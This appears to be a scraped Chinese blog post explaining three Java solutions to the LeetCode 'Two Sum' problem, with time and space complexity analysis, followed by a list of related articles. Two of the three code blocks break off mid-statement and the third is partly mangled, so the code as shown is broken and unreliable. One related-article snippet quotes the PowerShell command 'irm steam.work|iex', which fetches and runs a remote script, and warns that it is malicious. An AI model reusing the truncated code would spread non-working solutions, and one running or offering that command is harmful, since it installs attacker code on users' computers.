hot 100 (1)—— 两数之和(哈希) - 指南

news/2025/11/16 20:42:00/文章来源:https://www.cnblogs.com/slgkaifa/p/19228976

hot 100 (1)—— 两数之和(哈希) - 指南

一、常规暴力解法(两层for循环)

class Solution {public int[] twoSum(int[] nums, int target) {for(int i=0;i

1. 代码功能解释

这段Java代码实现了两数之和问题的解法:给定一个整数数组nums和一个目标值target,找到数组中两个数相加等于target的索引,并返回这两个索引(题目默认有且只有一个有效答案)。

核心逻辑是通过两层循环遍历数组:

• 外层循环(i)从数组第一个元素开始,依次取每个元素作为“基准元素”;

• 内层循环(j)从i+1开始,遍历“基准元素”之后的所有元素,检查两者之和是否等于target;

• 若满足条件,直接返回包含i和j的数组;若遍历结束未找到,返回空数组(实际题目场景下不会触发)。

2. 时间复杂度

• 复杂度级别:O(n²)(n为数组nums的长度)。

• 原因:外层循环执行n次,内层循环针对每个i分别执行n-1、n-2...1次,整体执行次数约为n(n-1)/2,属于平方级别的时间开销,数据量增大时效率会显著下降。

3. 空间复杂度

• 复杂度级别:O(1)(常数级)。

• 原因:算法仅使用了i、j两个循环变量,未额外创建与数组长度n相关的存储结构(如数组、哈希表等),占用的内存空间不随输入数据量变化。

二、最优解法(HashMap)

class Solution {public int[] twoSum(int[] nums, int target) {Map map = new HashMap<>();for(int i=0;i

1. 代码功能解释
这段Java代码是两数之和的优化解法,核心思路是用哈希表(HashMap)存储已遍历元素,实现“一次遍历找答案”,步骤如下:

◦ 初始化HashMap,键存数组元素值,值存该元素的原始索引;

◦ 遍历数组(索引i从0开始):

1. 计算“目标补数”:target - nums[i](即与当前元素相加等于target的数);

2. 检查哈希表中是否存在该“补数”:若存在,直接返回[补数的索引, 当前索引i](补数先存入,索引更小);

3. 若不存在,将当前元素nums[i]和其索引i存入哈希表,继续遍历;

◦ 题目默认有唯一解,遍历结束前必返回结果,末尾空数组仅为语法补充。

2. 时间复杂度

• 复杂度级别:O(n)(n为数组nums的长度)。

• 原因:仅需遍历数组一次,哈希表的containsKey和put操作均为O(1) 平均时间复杂度,整体无嵌套循环,时间开销随数组长度线性增长。

3. 空间复杂度

• 复杂度级别:O(n)(线性级)。

• 原因:最坏情况下(如答案在数组末尾),需将数组中n-1个元素存入哈希表,哈希表占用空间随数组长度线性增长,故为O(n)。

三、额外解法(二维数组dp + 双指针)

class Solution {public int[] twoSum(int[] nums, int target) {int n = nums.length;int[][] dp = new int[n][2];for(int i=0;i a[0] - b[0]);//一定要排序!!!,并且要先填充dp再排序!!!int left = 0;int right = nums.length - 1;while(left < right){int sum = dp[left][0] + dp[right][0];if(sum == target){return new int[]{dp[left][1],dp[right][1]};}else if(sum < target){left++;}else{right--;}}return new int[]{};}
}

1. 代码功能解释

这段Java代码同样解决两数之和问题,核心思路是“先排序,再双指针”,步骤如下:

1. 保存原始索引:创建二维数组dp(每行存[数组元素值, 元素原始索引]),避免排序后丢失原始索引(题目要求返回原始索引);

2. 排序数组:按dp每行的第一个元素(即原数组的数值)升序排序,这是双指针查找的前提;

3. 双指针查找:左指针left从数组开头出发,右指针right从数组末尾出发,计算两指针指向元素的和:

◦ 若和等于target,直接返回两元素的原始索引(dp[left][1]和dp[right][1]);

◦ 若和小于target,左指针右移(增大数值);

◦ 若和大于target,右指针左移(减小数值);

4. 若遍历结束未找到(题目默认有解,此情况不触发),返回空数组。

2. 时间复杂度

• 复杂度级别:O(n log n)(n为数组nums的长度)。

• 原因:算法耗时主要在排序步骤(Arrays.sort采用双轴快排,时间复杂度为O(n log n)),后续双指针遍历仅需O(n),整体由排序主导,故为O(n log n)。

3. 空间复杂度

• 复杂度级别:O(n)(线性级)。

• 原因:额外创建了二维数组dp,其长度与原数组nums一致(n行2列),占用空间随n线性增长,故为O(n)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/967333.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DLSS Swapper商业模式:开源软件商业化探索 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

性能优化体系化建设:BI平台的深度优化实践

第一部分:最复杂的性能优化经历——BI数据大盘加载卡顿 1. 问题背景与建立监控基线:场景:OMNIEYE平台的核心数据看板,用户配置了多个图表,一次性拉取并渲染数万行、数十列的数据,导致:API响应时间极长(超过10s…

AT_jsc2019_qual_e Card Collector题解

博客地址 图论建模还是太神仙了。 首先思考一下题目给的条件,每行只选一个,接着每列只选一个,由于这种唯一对应的性质,很容易让人想到二分图匹配,但数据范围并不允许我们这样做。 但这给我们一个图论建模的思路。…

20251115ACC

比赛链接 赛时 难绷 先通读四道题,T2有一个反悔贪心的思路,T3一眼差分,T1应该不会太难,心态良好。 于是直接开T1。思考近45min后想到直接硬拆绝对值,开始码。结果由于自己前期思路不严谨和代码实现问题,硬调2.5h才过…

Day40(10)-F:\硕士阶段\Java\课程代码\后端\web-ai-code\web-ai-project01\springboot-mybatis-quickstart

Mybatispublic class HikariDataSource extends HikariConfig implements DataSource, Closeable {private static final Logger LOGGER = LoggerFactory.getLogger(HikariDataSource.class);private final AtomicBool…

还能回到原先吗 绞尽脑汁翻阅文献 这名为爱的实验 被等号连接

test40 教练模拟器真好玩 /kel俄罗斯方块 旋转一下然后计数,注意对对称图形去重喵。 #pragma GCC optimize(1,2,3,"Ofast","inline") #include<bits/stdc++.h> #define int long long #def…

irm steam.work|iex 风险分析

一个高风险的恶意命令。 执行此命令将严重危害您的计算机安全和您的 Steam 帐户。 风险分析:irm steam.work|iex这个命令由三个部分组成,组合起来非常危险:irm steam.workirm 是 Invoke-RestMethod 的别名,这是一个…

2025年11月手动旗杆厂家口碑推荐榜单及选购指南

摘要 2025年旗杆行业迎来新一轮技术升级,不锈钢旗杆、电动旗杆等产品在材质工艺和智能控制方面均有显著突破。本文基于市场调研数据、用户反馈和行业技术参数,整理出手动旗杆领域权威推荐榜单,为酒店、学校、企业等…

2025年四川电动旗杆制造厂排行榜TOP5权威发布

摘要 随着城市化进程加快和企事业单位形象提升需求增长,2025年四川电动旗杆行业迎来快速发展期。本文基于市场调研数据、用户口碑评价和技术实力评估,为您呈现最新行业排行榜单,为采购决策提供参考依据。文末附有详…

Pandas --DataFrame基本操作

Pandas --DataFrame基本操作一.介绍DataFrame是pandas中另一个核心数据结构,它是一个二维的、大小可变的、可以存储多种类型数据的表格结构。每一列可以是不同的类型(数值、字符串、布尔值等),并且有行索引和列索引…

2025年11月全国旗杆厂家综合实力排行榜TOP5权威发布

摘要 2025年旗杆制造行业迎来技术升级与市场需求双增长,智能化、定制化成为主流趋势。本文基于行业数据调研、用户口碑评价、技术实力评估等多维度分析,为您呈现最新旗杆厂家排名榜单。本榜单旨在为政府采购、企业采…

debian sysctl: cannot open /etc/sysctl.conf: 没有那个文件或目录

系统正常使用,却弹出inotify的警告查询当前配置 cat /proc/sys/fs/inotify/max_user_watches cat /proc/sys/fs/inotify/max_user_instances 系统默认配置第一项12W多,第二项256 linux inotify 是一种高效的文件监控…

完整教程:(Linux) WSL 通过 VSCode 连接不执行 profile 问题(登录Shell问题)

完整教程:(Linux) WSL 通过 VSCode 连接不执行 profile 问题(登录Shell问题)2025-11-16 20:15 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflo…

入侵防护技术深度解析:最新漏洞与威胁态势

本文详细介绍了FortiGuard实验室在入侵防护领域的最新研究成果,包括新发现的5个安全漏洞和5个已修复漏洞的技术细节,涵盖D-Link、Google Chrome等多个厂商产品的安全威胁分析,为网络安全防护提供重要参考。研究 研究…

mysql函数大全及举例 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

P14507 缺零分治 mexdnc题解

我真厉害。P14507 缺零分治 mexdnc 考时思路对了,但是代码太乱了,冗长复杂,难以调试,我直接放弃了,赛后补题,看题解,发现写的都是gousi(个人感觉,我确实看不懂写的都是啥),看部分题解发现我的思路确实没问题…

python多进程通信 —— 两进程通信 —— Pipe与Queue的通信性能对比

python多进程通信 —— 两进程通信 —— Pipe与Queue的通信性能对比运行代码:点击查看代码 import time from multiprocessing import Process, Pipe, Queuedef reader_pipe(pipe):output_p, input_p = pipeinput_p.c…

20232427 2025-2026-1 《网络与系统攻防技术》实验五实验报告

一、实验内容 本次实验聚焦信息搜集技术实践,核心内容包括五部分: 1.选择目标域名,通过多种工具查询其 DNS 注册信息、对应 IP 地址、IP 注册详情及地理位置; 2.尝试获取社交平台好友的 IP 地址并定位其地理位置;…

解决Elctron打包成功,IPC无法注册问题。

目录解决Elctron打包成功,IPC无法注册问题。项目地址 解决Elctron打包成功,IPC无法注册问题。 核心问题原因IPC 处理程序未注册:主进程未注册 resource:scanDirectory通道的处理程序 注册时序问题:处理程序注册可能…

Swagger开启账号验证访问

背景概述 在一些小型的Java后端开发项目工程中集成Swagger生成接口文档是一个比较普遍的做法,默认情况下访问Swagger文档是没有限制的,任何人都可以访问并进行调试。这在某些场合下可能并不合适,特别是对于一些具备…